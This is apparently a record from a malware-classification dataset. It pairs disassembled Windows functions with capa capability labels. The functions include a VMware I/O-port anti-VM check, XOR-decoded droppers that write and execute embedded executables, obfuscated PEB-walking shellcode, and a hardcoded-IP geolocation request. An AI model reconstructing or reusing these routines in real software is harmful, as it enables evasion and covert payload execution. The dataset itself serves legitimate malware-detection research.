joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10001000
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
nop
nop
push ebp
mov ebp, esp
add esp, 9
add esp, 0xfffffff7
add esp, 4
add esp, 0xfffffffc
push 0x2d1b
mov esp, ebp
nop
nop
pop ebp
mov eax, dword [ebp + 0x10]
mov edx, dword [eax + 4]
mov dword [ebp - 8], edx
nop
push ebp
mov ebp, esp
inc ecx
dec ecx
add esp, 4
add esp, 0xfffffffc
push ebx
pop ebx
add esp, 6
add esp, 0xfffffffa
nop
mov esp, ebp
nop
pop ebp
mov eax, dword [eax]
xor ecx, ecx
mov dword [ebp - 4], 0
mov cx, word [eax + 0x14]
cmp word [eax + 6], 0
lea ebx, [ecx + eax + 0x18]
jbe 0x1000110a
add ebx, 0x10
jmp 0x1000106c
mov edx, dword [ebp - 8]
cmp dword [ebx], 0
jne 0x100010a8
mov eax, dword [ebp + 0xc]
mov esi, dword [eax + 0x38]
test esi, esi
jle 0x100010ed
mov ecx, dword [ebx - 4]
push 4
push 0x1000
add ecx, edx
push esi
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, esi
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [ebx - 8], edi
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
jmp 0x100010ed
nop
push ebp
nop
mov ebp, esp
test esi, esi
add esp, 3
add esp, 0xfffffffd
inc ecx
dec ecx
mov esp, ebp
pop ebp
mov ecx, dword [ebx - 4]
mov eax, dword [ebx]
push 4
push 0x1000
add ecx, edx
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebx]
mov esi, dword [ebx + 4]
mov edi, dword [ebp + 8]
mov edx, ecx
add esi, edi
mov edi, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov dword [ebx - 8], eax
mov ecx, dword [ebp + 0x10]
mov eax, dword [ebp - 4]
inc eax
add ebx, 0x28
mov edx, dword [ecx]
xor ecx, ecx
mov dword [ebp - 4], eax
mov cx, word [edx + 6]
cmp eax, ecx
jl 0x10001069
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10001c90
Capabilities:
Write file on windows

Disassembly:
push ecx
mov al, byte [0x1000dce0]
test al, al
jne 0x10001c9e
xor al, al
pop ecx
ret
mov ecx, dword [esp + 0xc]
mov edx, dword [esp + 8]
push ebx
push esi
push edi
lea eax, [esp + 0xc]
push 0x1000dbe8
push eax
mov eax, dword [0x1000dcdc]
push ecx
push edx
push eax
mov dword [esp + 0x20], 0
xor edi, edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x10001d23
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
call ebx
cmp eax, 0x3e5
jne 0x10001d23
mov edx, dword [0x1000dcdc]
mov esi, dword [sym.imp.KERNEL32.dll_GetOverlappedResult]
lea ecx, [esp + 0xc]
push 1
push ecx
push 0x1000dbe8
push edx
call esi
test eax, eax
jne 0x10001d23
call ebx
cmp eax, 0x3e5
jne 0x10001d0a
add edi, dword [esp + 0xc]
mov ecx, dword [0x1000dcdc]
lea eax, [esp + 0xc]
push 1
push eax
push 0x1000dbe8
push ecx
call esi
test eax, eax
je 0x10001cfd
pop edi
pop esi
mov al, 1
pop ebx
pop ecx
ret

Function at 0x10001df0
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x18
mov al, byte [0x1000dce0]
push ebx
xor ebx, ebx
cmp al, bl
mov dword [esp + 4], ebx
jne 0x10001e0a
xor al, al
pop ebx
add esp, 0x18
ret
mov al, byte [0x1000b050]
push esi
cmp al, bl
push edi
je 0x10001e36
mov ecx, 0x13
xor eax, eax
mov edi, 0x1000db98
mov dword [0x1000b054], 0x4e
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [0x1000dcf0], ebx
mov edx, dword [0x1000dcdc]
lea eax, [esp + 0x18]
lea ecx, [esp + 0x14]
push eax
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_ClearCommError]
mov eax, dword [0x1000b054]
mov ecx, dword [esp + 0x1c]
cmp eax, ecx
jb 0x10001e61
mov eax, ecx
mov dword [0x1000b054], eax
cmp eax, ebx
jbe 0x10001efa
mov edx, dword [0x1000dcdc]
lea ecx, [esp + 0xc]
push 0x1000dc00
push ecx
push eax
push 0x1000db98
push edx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x10001efa
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
call edi
cmp eax, 0x3e5
jne 0x10001efa
mov ecx, dword [0x1000dcdc]
mov esi, dword [sym.imp.KERNEL32.dll_GetOverlappedResult]
lea eax, [esp + 0x10]
push 1
push eax
push 0x1000dc00
push ecx
mov dword [esp + 0x20], ebx
call esi
test eax, eax
jne 0x10001eec
call edi
cmp eax, 0x3e5
jne 0x10001ed3
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 0xc]
add eax, edx
mov dword [esp + 0xc], eax
mov ecx, dword [0x1000dcdc]
lea eax, [esp + 0x10]
push 1
push eax
push 0x1000dc00
push ecx
call esi
test eax, eax
je 0x10001ebc
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 0xc]
add eax, edx
mov dword [esp + 0xc], eax
mov eax, dword [0x1000dcf0]
mov esi, dword [esp + 0xc]
add eax, esi
mov ecx, 0x4e
sub ecx, eax
pop edi
cmp eax, 0x4e
mov dword [0x1000dcf0], eax
mov dword [0x1000b054], ecx
pop esi
jne 0x10001f39
push 0x1000db98
mov byte [0x1000b050], 1
call fcn.10001d30
add esp, 4
mov al, 1
pop ebx
add esp, 0x18
ret
mov byte [0x1000b050], bl
mov al, 1
pop ebx
add esp, 0x18
ret
Function at 0x10007b20
Capabilities:
Reference the vmware io port

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10009158
push 0x100028ec
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xc
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov byte [ebp - 0x1c], 1
mov dword [ebp - 4], 0
nop
nop
push edx
push ecx
push ebx
nop
nop
mov eax, 0x564d5868
mov ebx, 0
mov ecx, 0xa
mov edx, 0x5658
in eax, dx
cmp ebx, 0x564d5868
sete byte [ebp - 0x1c]
nop
nop
pop ebx
pop ecx
pop edx
nop
nop
nop
nop
mov dword [ebp - 4], 0xffffffff
mov al, byte [ebp - 0x1c]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401000
Capabilities:
Get mac address on windows

Disassembly:
sub esp, 8
mov eax, dword [0x45a6e4]
xor eax, esp
mov dword [esp + 4], eax
lea eax, [esp]
push eax
push 0
mov dword [esp + 8], 0
call sub.iphlpapi.dll_GetAdaptersInfo
test eax, eax
je 0x40103b
cmp eax, 0x6f
je 0x40103b
xor eax, eax
mov ecx, dword [esp + 4]
xor ecx, esp
call fcn.0042dc5d
add esp, 8
ret
mov ecx, dword [esp]
push esi
push ecx
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
test esi, esi
je 0x401064
lea edx, [esp + 4]
push edx
push esi
call sub.iphlpapi.dll_GetAdaptersInfo
test eax, eax
je 0x401076
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
xor eax, eax
pop esi
mov ecx, dword [esp + 4]
xor ecx, esp
call fcn.0042dc5d
add esp, 8
ret
movzx eax, byte [esi + 0x199]
movzx ecx, byte [esi + 0x198]
movzx edx, byte [esi + 0x197]
push eax
movzx eax, byte [esi + 0x196]
push ecx
movzx ecx, byte [esi + 0x195]
push edx
movzx edx, byte [esi + 0x194]
push eax
push ecx
push edx
push str._02X_02X_02X_02X_02X_02X
push edi
call fcn.0042dc6c
add esp, 0x20
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov ecx, dword [esp + 8]
pop esi
xor ecx, esp
mov eax, 1
call fcn.0042dc5d
add esp, 8
ret

Function at 0x402ed0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push edi
mov edi, dword [esp + 0x10]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x402ee9
pop edi
pop ebx
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x402f24
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [esp + 0x18]
add eax, esi
and ecx, 0xf
jbe 0x402f20
lea ebx, [ebx]
cmp esi, eax
jae 0x402f24
sub ecx, 1
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x402f10
cmp esi, eax
jb 0x402f2a
pop esi
pop edi
xor eax, eax
pop ebx
ret
mov ax, word [esi]
neg ax
sbb eax, eax
and eax, esi
pop esi
pop edi
pop ebx
ret
Function at 0x40e980
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Receive data
Receive data on socket
Send data
Send data on socket
Send http request
Send http request with host header

Disassembly:
sub esp, 0x18
mov eax, dword [0x45a6e4]
xor eax, esp
mov dword [esp + 0x10], eax
push ebp
push esi
xor eax, eax
push edi
xor ebp, ebp
push 0x400
mov word [esp + 0x10], bp
mov dword [esp + 0x12], eax
mov dword [esp + 0x16], eax
mov dword [esp + 0x1a], eax
mov word [esp + 0x1e], ax
call fcn.00411a26
add esp, 4
push 6
push 1
push 2
mov edi, eax
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
je 0x40ea7c
push str.180.149.136.219
mov word [esp + 0x10], 2
call dword [sym.imp.WS2_32.dll_inet_addr]
push 0x50
mov dword [esp + 0x14], eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0xe], ax
push 0x10
lea eax, [esp + 0x10]
push eax
push esi
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x40ea7c
push ebx
push str.GET__iplookup_iplookup.php_ip_s_HTTP_1.1_r_nHost:_int.dpool.sina.com.cn_r_n_r_n
push edi
call fcn.0042dc6c
mov eax, edi
add esp, 0xc
lea edx, [eax + 1]
jmp 0x40ea20
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x40ea20
push 0
sub eax, edx
push eax
push edi
push esi
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jg 0x40ea3e
xor ebp, ebp
jmp 0x40ea7c
push 0x400
push 0
push edi
call fcn.00430540
add esp, 0xc
push 0
push 0x400
push edi
push esi
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jg 0x40ea65
xor ebp, ebp
jmp 0x40ea7c
push 0x44f5f4
push edi
call fcn.0042edc0
add esp, 8
test eax, eax
je 0x40ea7c
mov ebp, 1
push edi
call fcn.00411a2b
add esp, 4
cmp esi, 0xffffffff
je 0x40ea91
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
mov ecx, dword [esp + 0x1c]
pop edi
pop esi
mov eax, ebp
pop ebp
xor ecx, esp
call fcn.0042dc5d
add esp, 0x18
ret
Function at 0x410840
Capabilities:
Create process on windows
Encode data using xor
Query environment variable
Write and execute a file
Write file on windows

Disassembly:
sub esp, 0x21c
mov eax, dword [0x45a6e4]
xor eax, esp
mov dword [esp + 0x214], eax
push esi
push edi
push 0x206
lea eax, [esp + 0x16]
push 0
push eax
mov word [esp + 0x1c], 0
call fcn.00430540
add esp, 0xc
call fcn.00410750
test al, al
jne 0x410933
push 0x208
lea ecx, [esp + 0x14]
push ecx
push 0x44f850
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
lea edi, [esp + 0x10]
add edi, 0xfffffffe
lea ebx, [ebx]
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x4108a0
mov ecx, 6
mov esi, str.gttfxtt.exe
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
xor eax, eax
mov cl, 0x1c
mov edi, edi
xor byte [eax + 0x530b78], cl
add eax, 1
cmp eax, 0x14b610
jl 0x4108c0
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
lea edx, [esp + 0x28]
push edx
mov dword [esp + 0x28], 0
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x41091b
push 0
lea eax, [esp + 0x10]
push eax
push 0x14b610
push 0x530b78
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0
push 0
lea ecx, [esp + 0x1c]
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov ecx, dword [esp + 0x21c]
pop edi
pop esi
xor ecx, esp
call fcn.0042dc5d
add esp, 0x21c
ret

Function at 0x410950
Capabilities:
Create process on windows
Encode data using xor
Query environment variable
Write and execute a file
Write file on windows

Disassembly:
sub esp, 0x21c
mov eax, dword [0x45a6e4]
xor eax, esp
mov dword [esp + 0x214], eax
push esi
push edi
push 0x206
lea eax, [esp + 0x16]
push 0
push eax
mov word [esp + 0x1c], 0
call fcn.00430540
add esp, 0xc
call fcn.00410750
test al, al
jne 0x410a43
push 0x208
lea ecx, [esp + 0x14]
push ecx
push 0x44f850
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
lea edi, [esp + 0x10]
add edi, 0xfffffffe
lea ebx, [ebx]
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x4109b0
mov ecx, 6
mov esi, str.gttfx55.exe
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
xor eax, eax
mov cl, 0x1c
mov edi, edi
xor byte [eax + 0x45bc78], cl
add eax, 1
cmp eax, 0xd4f00
jl 0x4109d0
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
lea edx, [esp + 0x28]
push edx
mov dword [esp + 0x28], 0
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x410a2b
push 0
lea eax, [esp + 0x10]
push eax
push 0xd4f00
push 0x45bc78
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0
push 0
lea ecx, [esp + 0x1c]
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov ecx, dword [esp + 0x21c]
pop edi
pop esi
xor ecx, esp
call fcn.0042dc5d
add esp, 0x21c
ret
Function at 0x412952
Capabilities:
Create http request

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
push esi
mov esi, ecx
and dword [esi + 0x10], 0
and dword [esi + 0xc], 0
mov dword [esi + 4], eax
mov eax, dword [ebp + 8]
test eax, eax
mov dword [esi], vtable.CInternetSession.0
jne 0x41297b
call fcn.00413ce9
mov eax, dword [eax + 0x10]
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
call dword [sym.imp.WININET.dll_InternetOpenW]
test eax, eax
mov dword [esi + 8], eax
jne 0x41299e
push eax
push dword [esi + 4]
call fcn.004128dd
push esi
push eax
mov ecx, 0x67c53c
call fcn.004125b0
mov eax, esi
pop esi
pop ebp
ret 0x18

Function at 0x414e77
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
xor ebx, ebx
cmp dword [ebp + 0xc], ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 4], ebx
je 0x414ebd
call fcn.00413ce9
mov esi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x414ebd
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
mov dword [ebp - 4], eax
je 0x414f00
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
test ebx, ebx
mov esi, dword [ebp + 8]
mov dword [ebp + 0xc], 1
je 0x414ee9
push dword [ebp + 0x10]
mov eax, dword [edi]
push ebx
push esi
mov ecx, edi
call dword [eax + 0x20]
cmp dword [ebp - 4], 0
mov dword [ebp + 0xc], eax
je 0x414ee9
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FreeResource]
cmp dword [esi + 0x4c], 0
je 0x414efd
mov ecx, dword [esi + 0x4c]
push dword [ebp + 0x10]
mov eax, dword [ecx]
call dword [eax + 0xa0]
mov eax, dword [ebp + 0xc]
pop edi
pop esi
pop ebx
leave
ret 0xc

Function at 0x41e097
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push ebp
push esi
push edi
xor edi, edi
xor ebx, ebx
cmp dword [esp + 0x14], edi
mov ebp, ecx
je 0x41e0da
call fcn.00413ce9
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x18]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x41e0da
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x41e0f5
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
push ebx
mov ecx, ebp
call fcn.0041dc51
test ebx, ebx
mov esi, eax
je 0x41e0f3
test edi, edi
je 0x41e0f3
push edi
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
ret 4
Function at 0x41e9ea
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x41ea18
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x41ea36
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.0041e954
jmp 0x41ea36
mov eax, dword [esi + 0x14]
test eax, eax
je 0x41ea36
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
push eax
mov ecx, esi
call fcn.0041e954
test edi, edi
mov eax, edi
jne 0x41ea20
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
mov ecx, dword [0x67e1e0]
test ecx, ecx
je 0x41eaf9
jmp 0x41e9e9
ret 8

Function at 0x41fa70
Capabilities:
Read file on windows

Disassembly:
cmp dword [esp + 8], 0
push esi
mov esi, ecx
jne 0x41fa79
xor eax, eax
jmp 0x41fae2
cmp dword [esp + 8], 0
jne 0x41fa85
call fcn.00411d77
push edi
push dword [esi + 0x10]
push dword [esp + 0x14]
push 1
push dword [esp + 0x18]
call fcn.00432ad9
mov edi, eax
add esp, 0x10
test edi, edi
jne 0x41fac0
push dword [esi + 0x10]
call fcn.0043281e
test eax, eax
pop ecx
jne 0x41fac0
mov esi, dword [esi + 0xc]
call fcn.0043001d
push esi
push dword [eax]
push 1
call fcn.0042ae8d
push dword [esi + 0x10]
call fcn.0043284d
test eax, eax
pop ecx
je 0x41fadf
push dword [esi + 0x10]
call fcn.00432772
push eax
call fcn.00402f40
pop ecx
pop ecx
jmp 0x41faae
mov eax, edi
pop edi
pop esi
ret 8

Function at 0x41faeb
Capabilities:
Write file on windows

Disassembly:
cmp dword [esp + 4], 0
push esi
mov esi, ecx
jne 0x41faf5
call fcn.00411d77
push dword [esi + 0x10]
push dword [esp + 0x10]
push 1
push dword [esp + 0x14]
call fcn.0042f2bd
add esp, 0x10
cmp eax, dword [esp + 0xc]
je 0x41fb22
mov esi, dword [esi + 0xc]
call fcn.0043001d
push esi
push dword [eax]
push 1
call fcn.0042ae8d
pop esi
ret 8

Function at 0x42dc5d
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x45a6e4]
jne 0x42dc67
repz ret
jmp fcn.00434d7f
Function at 0x43fd77
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.00434766
xor ebx, ebx
cmp dword [0x67eff4], ebx
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], ebx
jne 0x43fe4c
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
jne 0x43fdb7
xor eax, eax
jmp 0x43ff10
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
cmp eax, ebx
je 0x43fdb0
push eax
call fcn.00434703
mov dword [esp], 0x44d530
push edi
mov dword [0x67eff4], eax
call esi
push eax
call fcn.00434703
mov dword [esp], 0x44d51c
push edi
mov dword [0x67eff8], eax
call esi
push eax
call fcn.00434703
mov dword [0x67effc], eax
lea eax, [ebp - 8]
push eax
call fcn.0042f648
test eax, eax
pop ecx
pop ecx
je 0x43fe1a
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.0042e12f
add esp, 0x14
cmp dword [ebp - 8], 2
jne 0x43fe4c
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.00434703
cmp eax, ebx
pop ecx
mov dword [0x67f004], eax
je 0x43fe4c
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00434703
pop ecx
mov dword [0x67f000], eax
mov eax, dword [0x67f000]
mov esi, dword [ebp - 0x10]
cmp eax, esi
je 0x43fec5
cmp dword [0x67f004], esi
je 0x43fec5
push eax
call fcn.0043476f
pop ecx
call eax
cmp eax, ebx
je 0x43fe92
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
push dword [0x67f004]
call fcn.0043476f
pop ecx
call eax
test eax, eax
je 0x43fe92
test byte [ebp - 0x18], 1
jne 0x43fec5
lea eax, [ebp - 0xc]
push eax
call fcn.0042f67f
test eax, eax
pop ecx
je 0x43fead
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.0042e12f
add esp, 0x14
cmp dword [ebp - 0xc], 4
jb 0x43febc
or dword [ebp + 0x10], 0x200000
jmp 0x43fef6
or dword [ebp + 0x10], 0x40000
jmp 0x43fef6
mov eax, dword [0x67eff8]
cmp eax, esi
je 0x43fef6
push eax
call fcn.0043476f
pop ecx
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x43fef6
mov eax, dword [0x67effc]
cmp eax, esi
je 0x43fef6
push dword [ebp - 4]
push eax
call fcn.0043476f
pop ecx
call eax
mov dword [ebp - 4], eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
push dword [0x67eff4]
call fcn.0043476f
pop ecx
call eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4457f8
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x98
mov eax, dword [0x45a6e4]
xor eax, ebp
mov dword [ebp + 0x74], eax
push esi
mov esi, ecx
call fcn.0044578d
mov eax, 0x400000
push 0x94
mov dword [esi + 8], eax
mov dword [esi + 4], eax
lea eax, [ebp - 0x20]
push 0
push eax
mov dword [esi], 0x3c
mov byte [esi + 0xc], 0
call fcn.00430540
add esp, 0xc
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x20], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x10], 2
jne 0x445847
cmp dword [ebp - 0x1c], 5
jb 0x44585f
jmp 0x44585b
cmp dword [ebp - 0x10], 1
jne 0x44585f
cmp dword [ebp - 0x1c], 4
ja 0x44585b
jne 0x44585f
cmp dword [ebp - 0x18], 0
jbe 0x44585f
mov byte [esi + 0xc], 1
lea ecx, [esi + 0x18]
mov dword [esi + 0x10], 0x800
mov dword [esi + 0x14], 0x44ee68
call fcn.0044567e
test eax, eax
jge 0x445880
mov byte [0x67f1a8], 1
mov ecx, dword [ebp + 0x74]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.0042dc5d
add ebp, 0x78
leave
ret
Function at 0x7ffe5447
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
mov eax, dword fs:[0x30]
add eax, 0
nop
call 0x7ffe5456
pop edx
pushal
inc eax
popal
clc
cld
xor dx, dx
clc
stc
add edx, 0xd5e0
add eax, 0
xor ecx, ecx
stc
clc
mov cl, 0x1e
add eax, 0
clc
nop
xor byte [ecx + edx], 0xc
loop 0x7ffe5475
nop
clc
push dword fs:[0x24]
lea esp, [esp]
pop dword [edx + 0xa]
nop
stc
mov cl, 0xff
nop
cld
cld
push edx
loop 0x7ffe5491
stc
nop
mov dword [edx + 0x11], 0xffffacbb
cld
cld
clc
mov ecx, dword [eax + 0x2c]
mov dword [edx + 0x1b], ecx
lea esp, [esp]
stc
cld
mov dword [edx + 0x100], ecx
mov dword [eax + 0x2c], esp
lea esp, [esp]
push 0
lea esp, [esp]
cld
push 0
add eax, 0
push 0
clc
clc
push 0
push edx
cdq
pop edx
push 0x30
add eax, 0
nop
push 0x20
stc
nop
cld
push 0
cld
cld
cld
cld
push 0
stc
add edx, 0xffff7f33
cld
cld
push edx
and bh, 0xff
cld
cld
push edx
cld
and al, 0xff
clc
push 0
add eax, 0
stc
nop
call dword [edx + 0x8210]
add esp, 0x3f8
and bh, 0xff
xor eax, eax
inc eax
cld
ret 0xc
Function at 0x4015f0
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4d1876
mov eax, dword fs:[0]
push eax
sub esp, 8
push esi
push edi
mov eax, dword [0x513108]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x10], edi
mov dword [edi], vtable.CXElement.0
call fcn.00404960
mov ecx, eax
test ecx, ecx
jne 0x401637
push 0x80004005
call fcn.004046c0
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [edi + 4], eax
mov dword [ebp - 4], 0
call fcn.00404960
mov ecx, eax
test ecx, ecx
jne 0x40165e
push 0x80004005
call fcn.004046c0
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [edi + 0xc], eax
lea esi, [edi + 0x10]
mov byte [ebp - 4], 1
mov dword [ebp - 0x14], esi
mov dword [esi], 0
mov dword [esi + 4], 0
call fcn.00402bd0
mov dword [esi], eax
xorps xmm0, xmm0
mov eax, dword fs:[0x2c]
mov dword [edi + 0x18], 0
mov dword [edi + 0x1c], 0
mov dword [edi + 0x20], 0
mov ecx, dword [eax]
movq qword [edi + 0x28], xmm0
mov dword [edi + 0x28], edi
mov dword [edi + 0x24], vtable.TGeneralObserverObj_class_CXElement_.0
mov eax, dword [0x51a060]
cmp eax, dword [ecx + 4]
jle 0x40170b
push 0x51a060
call fcn.0048cc3d
add esp, 4
cmp dword [0x51a060], 0xffffffff
jne 0x40170b
push 0x4dba90
mov dword [0x513fe0], 0x64
mov dword [0x513fe4], 0x64
mov byte [0x513fe8], 0
call fcn.0048caf4
push 0x51a060
call fcn.0048cbfe
add esp, 8
mov dword [edi + 0x30], 0x513fe0
mov eax, edi
mov dword [edi + 8], 0
mov dword [edi + 0x2c], 0x401c10
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x403f40
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x403f55
pop ebp
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x403f96
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp + 0x10]
lea edx, [esi + eax]
and ecx, 0xf
jbe 0x403f92
nop word [eax + eax]
cmp esi, edx
jae 0x403f96
movzx eax, word [esi]
lea esi, [esi + eax*2]
add esi, 2
sub ecx, 1
jne 0x403f80
cmp esi, edx
jb 0x403f9b
xor eax, eax
pop esi
pop ebp
ret
xor eax, eax
cmp word [esi], ax
cmove esi, eax
mov eax, esi
pop esi
pop ebp
ret